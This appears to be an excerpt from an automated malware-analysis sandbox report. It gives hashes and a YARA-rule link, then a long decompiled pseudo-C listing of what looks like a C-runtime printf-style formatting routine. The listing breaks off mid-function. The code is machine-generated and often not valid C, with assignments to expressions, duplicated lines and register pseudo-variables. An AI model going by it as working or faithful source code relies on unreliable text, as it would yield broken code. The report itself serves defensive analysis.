Instruction ID: a2ce2ae7dd94bdcf01d63be1c8b77e17d145f88f9a20d8ab4e2cdf8d088960dc
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: CE411571E08229CFDB64DF48D989BAEB7B5BF44304F5045DAE449A7241C7389E80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0043C459, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C459(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004283F0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043CB80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043CBC0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CB80(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043CBC0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041AEE0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AEE0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B620(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043CB20( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043CB80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C5D0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043CA14))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043CB20( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43ca4c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA34))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43ca74; // 0xc2819003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA60))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43cae0; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CAA4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E004283F0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B950( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AEE0(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0xab8ad97d
																				E00424750(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0x2b8ac62f
																						E00424750(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
